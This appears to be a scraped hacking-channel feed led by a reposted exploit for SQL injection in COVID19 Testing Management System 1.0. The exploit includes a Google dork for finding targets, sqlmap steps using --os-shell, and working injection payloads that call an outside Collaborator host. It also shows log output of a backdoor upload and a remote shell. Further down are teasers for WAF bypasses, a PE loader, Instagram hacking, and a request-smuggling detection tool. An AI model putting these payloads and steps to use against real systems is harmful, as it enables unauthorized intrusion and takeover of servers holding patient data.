Exploit Collector
COVID19 Testing Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
COVID19 Testing Management System version 1.0 suffers from a remote SQL injection vulnerability leveraging the searchdata parameter on the patient-search-report.php page. This is a variant of the original discovery of SQL injection in this version as discovered by Rohit Burke in May of 2021.

MD5 | b36fd4281ed2835482616a0d0da9e478

Download
# Exploit Title: COVID19 Testing Management System 1.0 - 'searchdata' SQL Injection
# Google Dork: intitle: "COVID19 Testing Management System"
# Date: 09/08/2021
# Exploit Author: Ashish Upsham
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/covid19-testing-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows

Description:

The COVID19 Testing Management System 1.0 application from PHPgurukul is vulnerable to
SQL injection via the 'searchdata' parameter on the patient-search-report.php page.

==================== 1. SQLi ====================

http://192.168.0.107:80/covid-tms/patient-search-report.php

The "searchdata" parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

POST parameter 'searchdata' is vulnerable.

step 1 : Navigate to the "Test Report >> Search Report" and enter any random value & capture the request in the proxy tool.
step 2 : Now copy the post request and save it as test.txt file.
step 3 : Run the sqlmap command "sqlmap -r test.txt -p searchdata --os-shell"

----------------------------------------------------------------------
Parameter: searchdata (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') AND (SELECT 4105 FROM (SELECT(SLEEP(5)))BzTl) AND ('Rxmr'='Rxmr&search=Search

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: searchdata=809262'+(select load_file('yhj3lhp8nhgr0sb7nf7ma0d0wr2hq6.burpcollaborator.net'))+'') UNION ALL SELECT NULL,NULL,CONCAT(0x716a767071,0x59514b74537665486a414263557053556875425a6543647144797a5a497a7043766e597a484e6867,0x7176767871),NULL,NULL,NULL,NULL-- -&search=Search

[19:14:14] [INFO] trying to upload the file stager on '/xampp/htdocs/' via UNION method
[19:14:14] [INFO] the remote file '/xampp/htdocs/tmpuptfn.php' is larger (714 B) than the local file '/tmp/sqlmap_tng5cao28/tmpaw4yplu2' (708B)
[19:14:14] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/' - http://192.168.0.107:80/tmpuptfn.php
[19:14:14] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/' - http://192.168.0.107:80/tmpbmclp.php[19:14:14] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'laptop-ashish\ashish'
os-shell>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Lexmark Driver Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

WAF bypasses: Tearing down the wall

Before we go deep into the ACTUAL bypasses section, It’s really important to understand what is a WAF(Web application firewall) and it’s…Continue reading on InfoSec Write-ups »
Read more...

How I collected sensitive data from examination software?

Hey Guyz! I am back with a new vulnerability on a college website.Continue reading on InfoSec Write-ups »
Read more...

How I collected sensitive data from examination software?

Hey Guyz! I am back with a new vulnerability on a college website.
Read more...

Huan: PE Loader
https://www.reddit.com/r/redteamsec/comments/p38ag5/huan_pe_loader/

Simple Encrypted PE Loader Generator: https://github.com/frkngksl/Huan submitted by /u/DarkGrejuva (https://www.reddit.com/user/DarkGrejuva)
[link] (https://www.reddit.com/r/redteamsec/comments/p38ag5/huan_pe_loader/) [comments] (https://www.reddit.com/r/redteamsec/comments/p38ag5/huan_pe_loader/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is hacking ? Types of hacking and more facts about hacking | TECH STRAP

The term ‘hacking’ and ‘hacker’ have various interpretations according to various sources. In an ideal sense, the term hacker was used to…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WHAT IS DARK WEB AND DEEP WEB

What is the deep web?
The deep web is an umbrella term for parts of the internet not fully accessible using standard search engines such…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WAF bypasses: Tearing down the wall

https://cdn-images-1.medium.com/max/1300/1*RbFWdVggszxS3GKvHq_r5g.jpeg
Before we go deep into the ACTUAL bypasses section, It’s really important to understand what is a WAF(Web application firewall) and it’s…

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I collected sensitive data from examination software?

https://cdn-images-1.medium.com/max/1027/1*ydmJz7rJFr4C-18zvgPisg.png
Hey Guyz! I am back with a new vulnerability on a college website.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How to Hack Instagram? Account Hacking Precautions

https://cdn-images-1.medium.com/max/2600/0*KRISFXiv-78XnWll
If you can’t log in to Instagram, you may be experiencing an account hacking problem. Even phenomenal people have had hacking problems…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Http-Request-Smuggling - HTTP Request Smuggling Detection Tool
http://www.kitploit.com/2021/08/http-request-smuggling-http-request.html

___________________________
@hacking_Attack
@Hacking_Video

HTTP request smuggling is a high severity vulnerability (https://www.kitploit.com/search/label/Vulnerability) which is a technique where an attacker smuggles an ambiguous HTTP request to bypass security controls and gain unauthorized access to performs malicious activities, the vulnerability was discovered back in 2005 by watchfire (https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf) and later in August 2019 it re-discovered by James Kettle - (albinowax) (https://twitter.com/albinowax) and presented at DEF CON 27 (https://www.youtube.com/watch?v=w-eJM2Pc0KI) and Black-Hat USA (https://www.youtube.com/watch?v=_A04msdplXs), to know more about this vulnerability you can refer his well-documented research (https://www.kitploit.com/search/label/Research) blogs at Portswigger website (https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn). So the idea behind this security tool is to detect HRS vulnerability for a given host and the detection happens based on the time delay technique with the given permutes, so to know more about this tool I'll highly encourage you to read my blog (https://hackbotone.com/blog/http-request-smuggling-detection-tool) post about this tool.
Technical Overview
The tool is written using python and to use this tool you must have python version 3.x installed in your local machine. It takes the input of either one URL or list of URLs which you need to provide in a text file and by following the HRS vulnerability detection (https://www.kitploit.com/search/label/Vulnerability%20Detection) technique the tool has built-in payloads which has around 37 permutes and detection payloads for both CL.TE and TE.CL and for every given host it will generate the attack request object by using these payloads and calculates the elapsed time after receiving the response for each request and decides the vulnerability but most of the time chances are it can be false positive, so to confirm the vulnerability you can use burp-suite turbo intruder (https://www.kitploit.com/search/label/Intruder) and try your payloads.
Security Consent
It's quite important to know some of the legal disclaimers before scanning any of the targets, you should have proper authorization (https://www.kitploit.com/search/label/Authorization) before scanning any of the targets otherwise I suggest do not use this tool to scan an unauthorized target because to detect the vulnerability it sends multiple payloads for multiple times by using (--retry) option which means if something goes wrong then there is a possibility that backend socket might get poisoned with the payloads and any genuine visitors of that particular website might end up seeing the poisoned payload rather seeing the actual content of the website. So I'll highly suggest taking proper precautions before scanning any of the target website otherwise you will face some legal issue.
Installation
git clone https://github.com/anshumanpattnaik/http-request-smuggling.git
cd http-request-smuggling
pip3 install -r requirements.txt

Options
usage: smuggle.py [-h] [-u URL] [-urls URLS] [-t TIMEOUT] [-m METHOD]
[-r RETRY]

HTTP Request Smuggling vulnerability detection tool

optional arguments:
-h, --help show this help message and exit
-u URL, --url URL set the target url
-urls URLS, --urls URLS
set list of target urls, i.e (urls.txt)
-t TIMEOUT, --timeout TIMEOUT
set socket timeout, default - 10
-m METHOD, --method METHOD
set HTTP Methods, i.e (GET or POST), default - POST
-r RETRY, --retry RETRY
set the retry count to re-execute the payload, default
- 2

Scan one Url
">python3 smuggle.py -u

Scan list of Urls
">python3 smuggle.py -urls

Important

___________________________
@hacking_Attack
@Hacking_Video